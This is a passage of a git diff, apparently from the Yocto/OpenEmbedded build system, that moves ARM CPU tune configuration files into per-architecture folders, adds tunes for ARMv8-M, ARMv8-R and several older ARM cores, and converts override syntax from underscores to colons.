-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'armv8a', ' -march=armv8-a', '', d)}"
-TUNEVALID[crc] = "Enable instructions for ARMv8-a Cyclic Redundancy Check (CRC)"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'crc', '+crc', '', d)}"
-TUNEVALID[crypto] = "Enable instructions for ARMv8-a cryptographic"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'crypto', '+crypto', '', d)}"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv8a', ' -march=armv8-a', '', d)}"
MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv8a', 'armv8a:', '', d)}"
require conf/machine/include/arm/arch-arm64.inc
+require conf/machine/include/arm/feature-arm-crc.inc
+require conf/machine/include/arm/feature-arm-crypto.inc
# Little Endian base configs
AVAILTUNES += "armv8a armv8a-crc armv8a-crc-crypto armv8a-crypto"
-ARMPKGARCH_tune-armv8a ?= "armv8a"
-ARMPKGARCH_tune-armv8a-crc ?= "armv8a"
-ARMPKGARCH_tune-armv8a-crypto ?= "armv8a"
-ARMPKGARCH_tune-armv8a-crc-crypto ?= "armv8a"
-TUNE_FEATURES_tune-armv8a = "aarch64 armv8a"
-TUNE_FEATURES_tune-armv8a-crc = "${TUNE_FEATURES_tune-armv8a} crc"
-TUNE_FEATURES_tune-armv8a-crypto = "${TUNE_FEATURES_tune-armv8a} crypto"
-TUNE_FEATURES_tune-armv8a-crc-crypto = "${TUNE_FEATURES_tune-armv8a-crc} crypto"
-PACKAGE_EXTRA_ARCHS_tune-armv8a = "aarch64 armv8a"
-PACKAGE_EXTRA_ARCHS_tune-armv8a-crc = "${PACKAGE_EXTRA_ARCHS_tune-armv8a} armv8a-crc"
-PACKAGE_EXTRA_ARCHS_tune-armv8a-crypto = "${PACKAGE_EXTRA_ARCHS_tune-armv8a} armv8a-crypto"
-PACKAGE_EXTRA_ARCHS_tune-armv8a-crc-crypto = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc} armv8a-crypto armv8a-crc-crypto"
-BASE_LIB_tune-armv8a = "lib64"
-BASE_LIB_tune-armv8a-crc = "lib64"
-BASE_LIB_tune-armv8a-crypto = "lib64"
-BASE_LIB_tune-armv8a-crc-crypto = "lib64"
+ARMPKGARCH:tune-armv8a ?= "armv8a"
+ARMPKGARCH:tune-armv8a-crc ?= "armv8a"
+ARMPKGARCH:tune-armv8a-crypto ?= "armv8a"
+ARMPKGARCH:tune-armv8a-crc-crypto ?= "armv8a"
+TUNE_FEATURES:tune-armv8a = "aarch64 armv8a"
+TUNE_FEATURES:tune-armv8a-crc = "${TUNE_FEATURES:tune-armv8a} crc"
+TUNE_FEATURES:tune-armv8a-crypto = "${TUNE_FEATURES:tune-armv8a} crypto"
+TUNE_FEATURES:tune-armv8a-crc-crypto = "${TUNE_FEATURES:tune-armv8a-crc} crypto"
+PACKAGE_EXTRA_ARCHS:tune-armv8a = "aarch64 armv8a"
+PACKAGE_EXTRA_ARCHS:tune-armv8a-crc = "${PACKAGE_EXTRA_ARCHS:tune-armv8a} armv8a-crc"
+PACKAGE_EXTRA_ARCHS:tune-armv8a-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a} armv8a-crypto"
+PACKAGE_EXTRA_ARCHS:tune-armv8a-crc-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8a-crc} armv8a-crypto armv8a-crc-crypto"
+BASE_LIB:tune-armv8a = "lib64"
+BASE_LIB:tune-armv8a-crc = "lib64"
+BASE_LIB:tune-armv8a-crypto = "lib64"
+BASE_LIB:tune-armv8a-crc-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/arch-armv8m-base.inc b/meta/conf/machine/include/arm/arch-armv8m-base.inc
new file mode 100644
index 0000000000..ffee8cea80
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv8m-base.inc
@@ -0,0 +1,17 @@
+#
+# Defaults for ARMv8-m.base
+#
+DEFAULTTUNE ?= "armv8m-base"
+
+TUNEVALID[armv8m-base] = "Enable instructions for ARMv8-m.base"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv8m-base', ' -march=armv8-m.base', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv8m-base', 'armv8m-base:', '', d)}"
+
+TUNECONFLICTS[armv8m-base] = "armv4 armv5 armv6 armv7a"
+
+require conf/machine/include/arm/arch-armv7m.inc
+
+AVAILTUNES += "armv8m-base"
+ARMPKGARCH:tune-armv8m-base = "armv8m-base"
+TUNE_FEATURES:tune-armv8m-base = "armv8m-base"
+PACKAGE_EXTRA_ARCHS:tune-armv8m-base = "armv8m-base"
diff --git a/meta/conf/machine/include/arm/arch-armv8m-main.inc b/meta/conf/machine/include/arm/arch-armv8m-main.inc
new file mode 100644
index 0000000000..01bef35428
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv8m-main.inc
@@ -0,0 +1,28 @@
+#
+# Defaults for ARMv8-m.main
+#
+DEFAULTTUNE ?= "armv8m-main"
+
+require conf/machine/include/arm/arch-armv8m-base.inc
+require conf/machine/include/arm/feature-arm-dsp.inc
+require conf/machine/include/arm/feature-arm-neon.inc
+
+TUNEVALID[armv8m-main] = "Enable instructions for ARMv8-m.main"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv8m-main', ' -march=armv8-m.main', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv8m-main', 'armv8m-main:', '', d)}"
+
+TUNECONFLICTS[armv8m-main] = "armv4 armv5 armv6 armv7a"
+
+AVAILTUNES += "armv8m-main armv8m-maine armv8m-main-vfpv5spd16 armv8m-maine-vfpv5spd16"
+ARMPKGARCH:tune-armv8m-main = "armv8m-main"
+ARMPKGARCH:tune-armv8m-maine = "armv8m-main"
+ARMPKGARCH:tune-armv8m-main-vfpv5spd16 = "armv8m-main"
+ARMPKGARCH:tune-armv8m-maine-vfpv5spd16 = "armv8m-main"
+TUNE_FEATURES:tune-armv8m-main = "armv8m-main"
+TUNE_FEATURES:tune-armv8m-maine = "${TUNE_FEATURES:tune-armv8m-main} dsp"
+TUNE_FEATURES:tune-armv8m-main-vfpv5spd16 = "${TUNE_FEATURES:tune-armv8m-main} vfpv5spd16"
+TUNE_FEATURES:tune-armv8m-maine-vfpv5spd16 = "${TUNE_FEATURES:tune-armv8m-main-vfpv5spd16} dsp"
+PACKAGE_EXTRA_ARCHS:tune-armv8m-main = "armv8m-main"
+PACKAGE_EXTRA_ARCHS:tune-armv8m-maine = "${PACKAGE_EXTRA_ARCHS:tune-armv8m-main} armv8m-maine"
+PACKAGE_EXTRA_ARCHS:tune-armv8m-main-vfpv5spd16 = "${PACKAGE_EXTRA_ARCHS:tune-armv8m-main} armv8m-main-fpv5-spd16"
+PACKAGE_EXTRA_ARCHS:tune-armv8m-maine-vfpv5spd16 = "${PACKAGE_EXTRA_ARCHS:tune-armv8m-main} armv8m-maine-fpv5-spd16"
diff --git a/meta/conf/machine/include/arm/arch-armv8r.inc b/meta/conf/machine/include/arm/arch-armv8r.inc
new file mode 100644
index 0000000000..0dcfd34c1a
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv8r.inc
@@ -0,0 +1,37 @@
+#
+# Defaults for ARMv8-r
+#
+DEFAULTTUNE ?= "armv8r"
+
+TUNEVALID[armv8r] = "Enable instructions for ARMv8-r"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv8r', ' -march=armv8-r', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv8r', 'armv8r:', '', d)}"
+
+require conf/machine/include/arm/arch-arm64.inc
+require conf/machine/include/arm/feature-arm-crc.inc
+require conf/machine/include/arm/feature-arm-crypto.inc
+
+# All ARMv8 has floating point hardware built in. Null it here to avoid any confusion for 32bit.
+TARGET_FPU_32 = ""
+
+AVAILTUNES += "armv8r armv8r-crc armv8r-crypto armv8r-simd armv8r-crc-crypto armv8r-crc-simd armv8r-crc-crypto-simd"
+ARMPKGARCH:tune-armv8r = "armv8r"
+ARMPKGARCH:tune-armv8r-crc = "armv8r"
+ARMPKGARCH:tune-armv8r-crypto = "armv8r"
+ARMPKGARCH:tune-armv8r-simd = "armv8r"
+ARMPKGARCH:tune-armv8r-crc-crypto = "armv8r"
+ARMPKGARCH:tune-armv8r-crc-simd = "armv8r"
+ARMPKGARCH:tune-armv8r-crc-crypto-simd = "armv8r"
+TUNE_FEATURES:tune-armv8r = "armv8r"
+TUNE_FEATURES:tune-armv8r-crc = "${TUNE_FEATURES:tune-armv8r} crc"
+TUNE_FEATURES:tune-armv8r-crypto = "${TUNE_FEATURES:tune-armv8r} crypto"
+TUNE_FEATURES:tune-armv8r-simd = "${TUNE_FEATURES:tune-armv8r} simd"
+TUNE_FEATURES:tune-armv8r-crc-crypto = "${TUNE_FEATURES:tune-armv8r-crc} crypto"
+TUNE_FEATURES:tune-armv8r-crc-simd = "${TUNE_FEATURES:tune-armv8r-crc} simd"
+TUNE_FEATURES:tune-armv8r-crc-crypto-simd = "${TUNE_FEATURES:tune-armv8r-crc-crypto} simd"
+PACKAGE_EXTRA_ARCHS:tune-armv8r = "armv8r"
+PACKAGE_EXTRA_ARCHS:tune-armv8r-crc = "${PACKAGE_EXTRA_ARCHS:tune-armv8r} armv8r-crc"
+PACKAGE_EXTRA_ARCHS:tune-armv8r-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8r} armv8r-crypto"
+PACKAGE_EXTRA_ARCHS:tune-armv8r-simd = "${PACKAGE_EXTRA_ARCHS:tune-armv8r} armv8r-simd"
+PACKAGE_EXTRA_ARCHS:tune-armv8r-crc-simd = "${PACKAGE_EXTRA_ARCHS:tune-armv8r-crc} armv8r-simd armv8r-crc-simd"
+PACKAGE_EXTRA_ARCHS:tune-armv8r-crc-crypto-simd = "${PACKAGE_EXTRA_ARCHS:tune-armv8r-crc-simd} armv8r-crc-crypto-simd"
diff --git a/meta/conf/machine/include/arm/armv4/tune-arm920t.inc b/meta/conf/machine/include/arm/armv4/tune-arm920t.inc
new file mode 100644
index 0000000000..1b1cbdb5a7
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv4/tune-arm920t.inc
@@ -0,0 +1,13 @@
+DEFAULTTUNE ?= "arm920t"
+
+require conf/machine/include/arm/arch-armv4.inc
+
+TUNEVALID[arm920t] = "Enable arm920t specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'arm920t', ' -mcpu=arm920t', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'arm920t', 'armv4:', '', d)}"
+
+AVAILTUNES += "arm920t"
+ARMPKGARCH:tune-arm920t = "arm920t"
+# mcpu is used so don't use armv4t as we don't want march
+TUNE_FEATURES:tune-arm920t = "arm thumb arm920t"
+PACKAGE_EXTRA_ARCHS:tune-arm920t = "${PACKAGE_EXTRA_ARCHS:tune-armv4t} arm920t arm920tt"
diff --git a/meta/conf/machine/include/arm/armv4/tune-arm9tdmi.inc b/meta/conf/machine/include/arm/armv4/tune-arm9tdmi.inc
new file mode 100644
index 0000000000..78b890b43c
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv4/tune-arm9tdmi.inc
@@ -0,0 +1,13 @@
+DEFAULTTUNE ?= "arm9tdmi"
+
+require conf/machine/include/arm/arch-armv4.inc
+
+TUNEVALID[arm9tdmi] = "Enable arm9tdmi specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'arm9tdmi', ' -mcpu=arm9tdmi', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'arm9tdmi', 'armv4:', '', d)}"
+
+AVAILTUNES += "arm9tdmi"
+ARMPKGARCH:tune-arm9tdmi = "arm9tdmi"
+# mcpu is used so don't use armv4t as we don't want march
+TUNE_FEATURES:tune-arm9tdmi = "arm thumb arm9tdmi"
+PACKAGE_EXTRA_ARCHS:tune-arm9tdmi = "${PACKAGE_EXTRA_ARCHS:tune-armv4t} arm9tdmi arm9tdmit"
diff --git a/meta/conf/machine/include/arm/armv4/tune-ep9312.inc b/meta/conf/machine/include/arm/armv4/tune-ep9312.inc
new file mode 100644
index 0000000000..0d481d3888
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv4/tune-ep9312.inc
@@ -0,0 +1,12 @@
+DEFAULTTUNE ?= "ep9312"
+
+require conf/machine/include/arm/arch-armv4.inc
+
+TUNEVALID[ep9312] = "Enable Cirrus Logic EP9312 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ep9312', ' -march=ep9312 -mcpu=ep9312', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'ep9312', 'armv4:', '', d)}"
+
+AVAILTUNES += "ep9312"
+ARMPKGARCH:tune-ep9312 = "ep9312"
+TUNE_FEATURES:tune-ep9312 = "thumb ep9312"
+PACKAGE_EXTRA_ARCHS:tune-ep9312 = "${PACKAGE_EXTRA_ARCHS:tune-armv4t} ep9312t"
diff --git a/meta/conf/machine/include/arm/armv4/tune-strongarm1100.inc b/meta/conf/machine/include/arm/armv4/tune-strongarm1100.inc
new file mode 100644
index 0000000000..38ea9b7dd5
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv4/tune-strongarm1100.inc
@@ -0,0 +1,12 @@
+DEFAULTTUNE ?= "strongarm"
+
+require conf/machine/include/arm/arch-armv4.inc
+
+TUNEVALID[strongarm] = "Enable Strongarm 1100 series processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'strongarm', ' -mcpu=strongarm1100', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'strongarm', 'armv4:', '', d)}"
+
+AVAILTUNES += "strongarm"
+ARMPKGARCH:tune-strongarm = "strongarm"
+TUNE_FEATURES:tune-strongarm = "arm strongarm"
+PACKAGE_EXTRA_ARCHS:tune-strongarm = "${PACKAGE_EXTRA_ARCHS:tune-armv4} strongarm"
diff --git a/meta/conf/machine/include/arm/armv5/tune-arm926ejs.inc b/meta/conf/machine/include/arm/armv5/tune-arm926ejs.inc
new file mode 100644
index 0000000000..84c5084868
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv5/tune-arm926ejs.inc
@@ -0,0 +1,13 @@
+DEFAULTTUNE ?= "armv5te"
+
+require conf/machine/include/arm/arch-armv5-dsp.inc
+
+TUNEVALID[arm926ejs] = "Enable arm926ejs specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'arm926ejs', ' -mcpu=arm926ej-s', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'arm926ejs', 'armv5:', '', d)}"
+
+AVAILTUNES += "arm926ejs"
+ARMPKGARCH:tune-arm926ejs = "arm926ejs"
+# mcpu is used so don't use armv5te as we don't want march
+TUNE_FEATURES:tune-arm926ejs = "arm thumb dsp arm926ejs"
+PACKAGE_EXTRA_ARCHS:tune-arm926ejs = "${PACKAGE_EXTRA_ARCHS:tune-armv5te} arm926ejste arm926ejse"
diff --git a/meta/conf/machine/include/tune-iwmmxt.inc b/meta/conf/machine/include/arm/armv5/tune-iwmmxt.inc
index 81ff4c9ae2..c584b47d18 100644
--- a/meta/conf/machine/include/tune-iwmmxt.inc
+++ b/meta/conf/machine/include/arm/armv5/tune-iwmmxt.inc
@@ -10,6 +10,6 @@ TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'iwmmxt', ' -mcpu=iwmmxt',
MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'iwmmxt', 'armv5:', '', d)}"
AVAILTUNES += "iwmmxt"
-ARMPKGARCH_tune-iwmmxt = "iwmmxt"
-TUNE_FEATURES_tune-iwmmxt = "thumb iwmmxt"
-PACKAGE_EXTRA_ARCHS_tune-iwmmxt = "${PACKAGE_EXTRA_ARCHS_tune-armv5te} iwmmxt iwmmxtt"
+ARMPKGARCH:tune-iwmmxt = "iwmmxt"
+TUNE_FEATURES:tune-iwmmxt = "thumb iwmmxt"
+PACKAGE_EXTRA_ARCHS:tune-iwmmxt = "${PACKAGE_EXTRA_ARCHS:tune-armv5te} iwmmxt iwmmxtt"
diff --git a/meta/conf/machine/include/arm/armv5/tune-xscale.inc b/meta/conf/machine/include/arm/armv5/tune-xscale.inc
new file mode 100644
index 0000000000..cc67dcd304
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv5/tune-xscale.inc
@@ -0,0 +1,19 @@
+DEFAULTTUNE ?= "armv5te"
+
+require conf/machine/include/arm/arch-armv5-dsp.inc
+
+TUNEVALID[xscale] = "Enable PXA255/PXA26x Xscale specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'xscale', ' -mcpu=xscale', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'xscale', 'armv5:', '', d)}"
+
+AVAILTUNES += "xscale"
+ARMPKGARCH:tune-xscale = "xscale"
+# mcpu is used so don't use armv5te as we don't want march
+TUNE_FEATURES:tune-xscale = "arm thumb dsp xscale"
+PACKAGE_EXTRA_ARCHS:tune-xscale = "${PACKAGE_EXTRA_ARCHS:tune-armv5te} xscale xscalet xscalee xscalete"
+
+AVAILTUNES += "xscale-be"
+ARMPKGARCH:tune-xscale-be = "xscale"
+# mcpu is used so don't use armv5te as we don't want march
+TUNE_FEATURES:tune-xscale-be = "${TUNE_FEATURES:tune-xscale} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-xscale-be = "${PACKAGE_EXTRA_ARCHS:tune-armv5teb} xscaleb xscaletb xscaleeb xscaleteb"
diff --git a/meta/conf/machine/include/arm/armv6/tune-arm1136jf-s.inc b/meta/conf/machine/include/arm/armv6/tune-arm1136jf-s.inc
new file mode 100644
index 0000000000..b848580948
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv6/tune-arm1136jf-s.inc
@@ -0,0 +1,16 @@
+DEFAULTTUNE ?= "armv6hf"
+
+require conf/machine/include/arm/arch-armv6.inc
+
+TUNEVALID[arm1136jfs] = "Enable arm1136jfs specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'arm1136jfs', ' -mcpu=arm1136jf-s', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'arm1136jfs', 'armv6:', '', d)}"
+
+AVAILTUNES += "arm1136jfs arm1136jfshf"
+ARMPKGARCH:tune-arm1136jfs = "arm1136jfs"
+ARMPKGARCH:tune-arm1136jfshf = "arm1136jfs"
+# mcpu is used so don't use armv6 as we don't want march
+TUNE_FEATURES:tune-arm1136jfs = "arm vfp arm1136jfs"
+TUNE_FEATURES:tune-arm1136jfshf = "${TUNE_FEATURES:tune-arm1136jfs} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-arm1136jfs = "${PACKAGE_EXTRA_ARCHS:tune-armv6} arm1136jfs-vfp"
+PACKAGE_EXTRA_ARCHS:tune-arm1136jfshf = "${PACKAGE_EXTRA_ARCHS:tune-armv6hf} arm1136jfshf-vfp"
diff --git a/meta/conf/machine/include/arm/armv6/tune-arm1176jz-s.inc b/meta/conf/machine/include/arm/armv6/tune-arm1176jz-s.inc
new file mode 100644
index 0000000000..21d77f081e
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv6/tune-arm1176jz-s.inc
@@ -0,0 +1,17 @@
+DEFAULTTUNE ?= "arm1176jzs"
+
+require conf/machine/include/arm/arch-armv6.inc
+
+TUNEVALID[arm1176jzs] = "Enable arm1176jzs specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'arm1176jzs', ' -mcpu=arm1176jz-s', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'arm1176jzs', 'armv6:', '', d)}"
+
+AVAILTUNES += "arm1176jzs"
+ARMPKGARCH:tune-arm1176jzs = "arm1176jzs"
+TUNE_FEATURES:tune-arm1176jzs = "arm thumb arm1176jzs"
+PACKAGE_EXTRA_ARCHS:tune-arm1176jzs = "${PACKAGE_EXTRA_ARCHS:tune-armv6t-novfp} arm1176jzs arm1176jzst"
+
+AVAILTUNES += "arm1176jzs-be"
+ARMPKGARCH:tune-arm1176jzs-be = "${ARMPKGARCH:tune-arm1176jzs}"
+TUNE_FEATURES:tune-arm1176jzs-be = "${TUNE_FEATURES:tune-arm1176jzs} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-arm1176jzs-be = "${PACKAGE_EXTRA_ARCHS:tune-armv6tb-novfp} arm1176jzsb arm1176jzstb"
diff --git a/meta/conf/machine/include/arm/armv6m/tune-cortexm0.inc b/meta/conf/machine/include/arm/armv6m/tune-cortexm0.inc
new file mode 100644
index 0000000000..aadc5326ce
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv6m/tune-cortexm0.inc
@@ -0,0 +1,11 @@
+DEFAULTTUNE ?= "cortexm0"
+require conf/machine/include/arm/arch-armv6m.inc
+
+TUNEVALID[cortexm0] = "Enable Cortex-M0 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm0', ' -mcpu=cortex-m0', '', d)}"
+AVAILTUNES += "cortexm0"
+
+ARMPKGARCH:tune-cortexm0 = "cortexm0"
+TUNE_FEATURES:tune-cortexm0 = "${TUNE_FEATURES:tune-armv6m} cortexm0"
+
+PACKAGE_EXTRA_ARCHS:tune-cortexm0 = "${PACKAGE_EXTRA_ARCHS:tune-armv6m} cortexm0"
diff --git a/meta/conf/machine/include/arm/armv6m/tune-cortexm0plus.inc b/meta/conf/machine/include/arm/armv6m/tune-cortexm0plus.inc
new file mode 100644
index 0000000000..a3cf3f0bd2
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv6m/tune-cortexm0plus.inc
@@ -0,0 +1,11 @@
+DEFAULTTUNE ?= "cortexm0-plus"
+require conf/machine/include/arm/arch-armv6m.inc
+
+TUNEVALID[cortexm0-plus] = "Enable Cortex-M0 Plus specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm0-plus', ' -mcpu=cortex-m0plus', '', d)}"
+AVAILTUNES += "cortexm0-plus"
+
+ARMPKGARCH:tune-cortexm0-plus = "cortexm0-plus"
+TUNE_FEATURES:tune-cortexm0-plus = "${TUNE_FEATURES:tune-armv6m} cortexm0-plus"
+
+PACKAGE_EXTRA_ARCHS:tune-cortexm0-plus = "${PACKAGE_EXTRA_ARCHS:tune-armv6m} cortexm0-plus"
diff --git a/meta/conf/machine/include/arm/armv6m/tune-cortexm1.inc b/meta/conf/machine/include/arm/armv6m/tune-cortexm1.inc
new file mode 100644
index 0000000000..16661f3a26
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv6m/tune-cortexm1.inc
@@ -0,0 +1,14 @@
+#
+# Tune Settings for Cortex-M1
+#
+DEFAULTTUNE ?= "cortexm1"
+
+TUNEVALID[cortexm1] = "Enable Cortex-M1 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexm1', ' -mcpu=cortex-m1', '', d)}"
+
+require conf/machine/include/arm/arch-armv6m.inc
+
+AVAILTUNES += "cortexm1"
+ARMPKGARCH:tune-cortexm1 = "cortexm1"
+TUNE_FEATURES:tune-cortexm1 = "${TUNE_FEATURES:tune-armv6m} cortexm1"
+PACKAGE_EXTRA_ARCHS:tune-cortexm1 = "${PACKAGE_EXTRA_ARCHS:tune-armv6m} cortexm1"
diff --git a/meta/conf/machine/include/arm/armv7a/tune-cortexa15.inc b/meta/conf/machine/include/arm/armv7a/tune-cortexa15.inc
new file mode 100644
index 0000000000..e827afb2a0
--- /dev/null
+++ b/meta/conf/machine/include/arm/armv7a/tune-cortexa15.inc
@@ -0,0 +1,51 @@
+DEFAULTTUNE ?= "cortexa15thf-neon"
+
+require conf/machine/include/arm/arch-armv7ve.inc
+
+TUNEVALID[cortexa15] = "Enable Cortex-A15 specific processor optimizations"
+TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa15', ' -mcpu=cortex-a15', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa15', 'armv7ve:', '', d)}"
+
+# Little Endian base configs
+AVAILTUNES += "cortexa15 cortexa15t cortexa15-neon cortexa15t-neon cortexa15-neon-vfpv4 cortexa15t-neon-vfpv4"
+ARMPKGARCH:tune-cortexa15 = "cortexa15"
+ARMPKGARCH:tune-cortexa15t = "cortexa15"
+ARMPKGARCH:tune-cortexa15-neon = "cortexa15"
+ARMPKGARCH:tune-cortexa15t-neon = "cortexa15"
+ARMPKGARCH:tune-cortexa15-neon-vfpv4 = "cortexa15"
+ARMPKGARCH:tune-cortexa15t-neon-vfpv4 = "cortexa15"
+# mcpu is used so don't use armv7ve as we don't want march
+TUNE_FEATURES:tune-cortexa15 = "arm vfp cortexa15"
+TUNE_FEATURES:tune-cortexa15t = "${TUNE_FEATURES:tune-cortexa15} thumb"
+TUNE_FEATURES:tune-cortexa15-neon = "${TUNE_FEATURES:tune-cortexa15} neon"
+TUNE_FEATURES:tune-cortexa15t-neon = "${TUNE_FEATURES:tune-cortexa15-neon} thumb"
+TUNE_FEATURES:tune-cortexa15-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa15-neon} vfpv4"
+TUNE_FEATURES:tune-cortexa15t-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa15-neon-vfpv4} thumb"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve} cortexa15-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15t = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet} cortexa15-vfp cortexa15t2-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve-neon} cortexa15-vfp cortexa15-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15t-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet-neon} cortexa15-vfp cortexa15-neon cortexa15t2-vfp cortexa15t2-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ve-neon-vfpv4} cortexa15-vfp cortexa15-neon cortexa15-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15t-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vet-neon-vfpv4} cortexa15-vfp cortexa15-neon cortexa15-neon-vfpv4 cortexa15t2-vfp cortexa15t2-neon cortexa15t2-neon-vfpv4"
+
+# HF Tunes
+AVAILTUNES += "cortexa15hf cortexa15thf cortexa15hf-neon cortexa15thf-neon cortexa15hf-neon-vfpv4 cortexa15thf-neon-vfpv4"
+ARMPKGARCH:tune-cortexa15hf = "cortexa15"
+ARMPKGARCH:tune-cortexa15thf = "cortexa15"
+ARMPKGARCH:tune-cortexa15hf-neon = "cortexa15"
+ARMPKGARCH:tune-cortexa15thf-neon = "cortexa15"
+ARMPKGARCH:tune-cortexa15hf-neon-vfpv4 = "cortexa15"
+ARMPKGARCH:tune-cortexa15thf-neon-vfpv4 = "cortexa15"
+# mcpu is used so don't use armv7ve as we don't want march
+TUNE_FEATURES:tune-cortexa15hf = "${TUNE_FEATURES:tune-cortexa15} callconvention-hard"
+TUNE_FEATURES:tune-cortexa15thf = "${TUNE_FEATURES:tune-cortexa15t} callconvention-hard"
+TUNE_FEATURES:tune-cortexa15hf-neon = "${TUNE_FEATURES:tune-cortexa15-neon} callconvention-hard"
+TUNE_FEATURES:tune-cortexa15thf-neon = "${TUNE_FEATURES:tune-cortexa15t-neon} callconvention-hard"
+TUNE_FEATURES:tune-cortexa15hf-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa15-neon-vfpv4} callconvention-hard"
+TUNE_FEATURES:tune-cortexa15thf-neon-vfpv4 = "${TUNE_FEATURES:tune-cortexa15t-neon-vfpv4} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15hf = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf} cortexa15hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15thf = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf} cortexa15hf-vfp cortexa15t2hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15hf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf-neon} cortexa15hf-vfp cortexa15hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15thf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf-neon} cortexa15hf-vfp cortexa15hf-neon cortexa15t2hf-vfp cortexa15t2hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-cortexa15hf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf-neon-vfpv4} cortexa15hf-vfp cortexa15hf-neon cortexa15hf-neon-vfpv4"
